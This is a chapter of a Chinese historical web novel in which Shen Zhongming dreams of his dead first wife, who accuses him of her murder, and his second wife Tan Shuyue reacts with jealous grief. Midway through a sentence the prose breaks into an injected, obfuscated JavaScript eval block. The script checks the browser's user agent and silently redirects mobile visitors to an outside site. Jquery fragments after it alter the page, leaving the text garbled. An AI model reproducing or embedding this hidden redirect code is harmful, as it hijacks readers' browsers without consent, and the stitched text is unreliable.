晨光熹微,天际已有些泛白,窗前隐隐浮动青光。
屋内点了一支香,香气袅袅,随光沉浮。
香气氤氲缭绕,缥缈蜿蜒,人在半梦半醒之间,闻到丝丝缕缕、时断时续的清甜香气,神志荡漾,迷迷糊糊,坠入一段前尘旧梦。
雪下得很密,成团的雪絮拥着挤着,簌簌落下,将舒朗的梅枝压得低伏,月辉漫过雪中梅花,艳得沉静,冷得温柔。
雪色晶莹,上下一白,缀有万点朱砂。天地之间,一道灰影踏过雪地,发出窸窣轻响,风里携有淡淡冷香,走得近些,香气愈浓。
梅花树下,一道幽然倩影,她身着一袭红衣,踏雪起舞,裙裾绽放宛若红梅,雪尘跃起,被衣袂带起的风拢成细碎的舞,男子走得近了,女子看见了他,停下舞步,眉眼弯弯,恍若从画里走出来的人,与这漫天风雪,一树红梅融在了一起。
“知夏。”沈仲明眼眶湿润,喉间哽咽,好不容易吐出这两个字。
十年生死两茫茫,这个名字他许多年不曾唤过,再次提起时双唇止不住地颤抖,曾经最熟悉的名字,如今唤起来却觉得陌生。
“过来。”红梅艳艳,女子站在梅花树下,眉梢眼角荡出笑意,朝他招手。
沈仲明被摄了心魄一般,不由自主地向她靠近,手中的雕花灯笼掉落在地,夜色之中,灯笼弥散幽幽冷光,风乍起,雪粒纷飞,绕着灯笼呜咽打旋。
“知夏。”沈仲明朝着柳知夏走去,每每要走到柳知夏身前时,却仿佛有无形之墙将他阻隔,他上前,又退回来,上前,又退回来,一来一回,循环往复。
女子忽然一笑,笑容妩媚,鬓边缠着的红梅顺着风轻轻飘落,无声无息。
“仲明,你老了。”女子的声音细柔空灵,在旷渺天际中飘漾。
沈仲明停下脚步,回神,一双昏黄混浊的眼睛看着眼前女子,她立在清冷霜华中,乌发如瀑,肌肤胜雪,艳若桃李,十多年了,他早已色衰,鬓发已白,脸上的褶子也多了,但岁月并未腐蚀她的容颜。
沈仲明眼圈微红:“这么多年了,你还是和从前一样,一点没变。”
是啊,斯人已逝,永埋黄土,一个不在世的人怎会遭受岁月侵蚀呢。
柳知夏眼波流转,神秀明艳:“替我画一幅画,好吗?”
画?沈仲明看着柳知夏,神思轻晃。
北风太冷,刮在人身上透露出渗骨寒意,风在天地之间,没有来处,没有归处,沈仲明心中一颤,他总觉得,这阵风,好似是过去吹来的。
他与柳知夏初见时,被她明艳的样貌深深吸引,回家时,凭着记忆为柳知夏画了一幅画,尽管只是匆匆一眼,却铭记于心,那幅画与柳知夏十分相似,成亲后,柳知夏经常拿画调侃他是个痴人。
沈仲明点头,不知何时,柳知夏向他递来纸与笔,他接过,风雪里,他凝视柳知夏许久,朔风将他的手渐渐冻得通红。良久,他斟酌下笔,柳知夏不言不语,静静等着他。
画毕,他将画卷展开,柳知夏看了一眼,不甚满意地道:“你已经将我的模样忘了。”
沈仲明不可置信地低头,她的模样,他怎会忘?画卷展开在他眼前,他望着,双手颤抖,半晌吐露不出一个字。
画卷中,梅花点点,女子迎风而立,不过,只是一个背影。沈仲明忽然觉得头痛,他想不起来了,柳知夏的模样在他的脑海越发模糊,刚开始,还有模糊的五官轮廓,渐渐地,她的面容愈发模糊,愈发模糊,仿佛隔着重重迷雾,让人看不清,看不见。
“知夏。”沈仲明陡然抬头。
眼前一片白茫茫一片大地,空无一人,他的前方空荡荡的,柳知夏不在这。
少顷,他手中的画也消失了。
狂风裹挟万点梅花,横扫千堆白雪,在天地间盘旋,似生者的思念,死者的低吟。
“是你杀了我呀,仲明,你忘了吗?”女子的声音柔和、幽怨,宛若鬼魅,荡出阵阵回音,挥之不去。
“不是我。”沈仲明神色微恐,低声驳斥道。
“是你杀了我。”声音空灵而悠长,低低地漂浮着。
“不是我,不是我。”沈仲明挥动着袖子,整个人激动起来,梅花沁骨芬芳,向他袭来,像柳知夏的鬼魂缠绕。
“不是我,不是我,不是我……”
谭疏月被身边低低的呼喊声吵醒,天光微亮,她轻轻推动沈仲明的胳膊:“老爷。”
一霎那,恰似踩空跌落万丈深渊,沈仲明忽然惊醒,睁开了双眼,他立刻半坐起身子,木然地看着身边的谭疏月,眼神渐渐聚焦,松了一口气。
谭疏月温柔问道:“做噩梦了?”
沈仲明点头,被梦惊醒,也无心再睡下,他走下床,穿好衣服,忽闻到一股香气,他脚步一颤。
这香气,与梦中的香气,别无二致。
他紧拧眉头,目光在房间里搜寻一圈,试图找到香气来源。
案几上,云林石墨熏炉紫烟升腾,香韵袅袅。沈仲明迈着步子走近,掀起香炉盖,烟雾钻入袖中:“这是什么香?”
谭疏月以为她是对此香甚感兴趣,含笑说道:“此香名为无夏。”
天时有常,春夏秋冬,此香一反时序常理,取名“无夏”,谭疏月心中一沉,夏已寂灭,当死不复生,彻底散尽。
“此香有凝神静气之效,近日燃香就寝,睡得甚安,连头疼之症也不曾犯过。”谭疏月言语之间溢出赞美之情。
无夏?京中名香繁多,可此香的名字沈仲明却是闻所未闻,他轻咳一声,将炉盖盖上:“这香从何而来?”
谭疏月见他咳嗽,从床上起身,顺手拿起柜上的披风,走到沈仲明身边为他披上:“是沈大夫专门为我调制的。”
“沈大夫?”沈仲明沉思了一会,想起来就是谭疏月请回家为沈宁雪治病的大夫,她还救过自己一次,原来是她。
这香到底是静心凝神,还是扰人心智?沈仲明盯着升腾的白烟,眼神森冷。
“我去趟书房。”
沈仲明二话不说,提步迈出门去。
谭疏月没有跟上,她凝视着沈仲明离去的背影,眼底的笑意渐渐淡去,方才他神思不清,于梦中呓语,嘴里分明念着“知夏”。
知夏,知夏。
这个女人死了那么多年,他怎么就是忘不掉。谭疏月停驻原地,忽然笑了起来,笑里有不甘、绝望、恨意、愤怒,还有嘲讽,对沈仲明,也对她自己,笑着笑着,眼底流下了一滴泪。
沈仲明啊沈仲明,当年你那么卑贱,就如地上的微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379928|184106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尘,任人踩踏,于是你拼了命地往上爬。你对父亲卑躬屈膝,你对我百般讨好,又对柳知夏表现出百般厌恶,让我一时错信了你,以为你也是个可怜人。
谭疏月发出一声轻笑,眼泪如珍珠般滑落。沈仲明,你怎么不算是个可怜人呢,柳知夏活时你不珍惜,如今她命归黄土,你又开始故作情深,念她对你的白般好,你的深情真是比草都贱。
风卷起“无夏”的余烬,飘如齑雪,谭疏月忍着烫意抓了一把炉内的残灰,放在手心,走到门外,刹那间,灰随风散。
“母亲。”昨夜离开雨霖居时,沈宁雪都未曾醒来,沈谦提心吊胆了一夜,早上很早便起了,又担心沈宁雪需要休息,自己不好过早去打扰,但又放心不下,于是在府内焦急徘徊。
他在府中走了一圈又一圈,见天边星辰愈发明晰,见天色变蓝,慢慢亮起,路过这边时,发现母亲也已醒来,但神色悲切,不知是在为何事伤心?
沈谦上来劝慰:“母亲。”
谭疏月并未及时回应,直到手中的灰散了、尽了,她转过头来,声音沙哑:“谦儿。”
所幸,她还有一双儿女。
谭疏月情不自禁留下泪来。
谭疏月在沈谦心中一向严厉,鲜少有笑容,自妹妹病重后,谭疏月更是难展笑颜,他一向不满谭疏月对自己的严苛,这份气一直憋在心里,竟让自己许久没有好好看过母亲。
母亲,竟也老了。
沈谦将谭疏月扶回房中休息,谭疏月坐在靠窗的木椅上。
沈谦端了一盆梅花饼,走到谭疏月身侧:“母亲还未用过早膳吧,先吃几个梅花饼垫垫肚子。”
白瓷盆上的梅花饼玲珑小巧,五瓣匀称,形如寒梅绽雪,谭疏月正抬手去拿,手在空中一顿:“你说这饼叫什么名字?”
“梅花饼啊。”沈谦乐呵呵地说道,手上早已拿起一块梅花饼津津有味地咀嚼起来,全然未察觉眼前之人已变了神色。
梅花,柳知夏最喜欢的就是梅花。
“砰——”的一声,一阵脆裂空响,梅花饼倾翻在地,碗身碎作数片,残瓷棱角尖锐刺目。
沈谦正要询问,听到谭疏月冷冷说道:“吩咐下去,往后后厨不许再做梅花饼。”
沈谦才不敢出声,他出生时,柳知夏已经死了,不过也听闻过父亲和她地纠葛,这些年来父亲总往沈府旧宅跑,导致母亲常常与他发生争吵。
原来母亲今日如此伤心也与那个女人有关。
旧宅钥匙一直由父亲亲自保管,自己无心于父辈纠葛,也从未掺和过,如今,心中到底好奇,也厌恶,旧宅之中究竟有什么?
沈谦连忙吩咐下人来收拾打碎在地的瓷碗,出去了。
李嬷嬷进来,看到满地狼藉,知道谭疏月是动了气,她蹲下身,将碎瓷片小心捡起。
谭疏月问道:“李嬷嬷,府中可种有梅树?”
李嬷嬷思忖了一会,应道:“夫人不爱梅树,早些年下人们奉了命,早已将府中的梅树砍尽了,不过,探冬苑内还留着一株,是当年老爷全力保下的。”
探冬苑,如今沈瑶卿居住的小院。
屋内,“无夏”尚未燃尽,谭疏月的目光看向悠悠白烟,说道:“将探冬苑内的那株梅树也砍了吧。”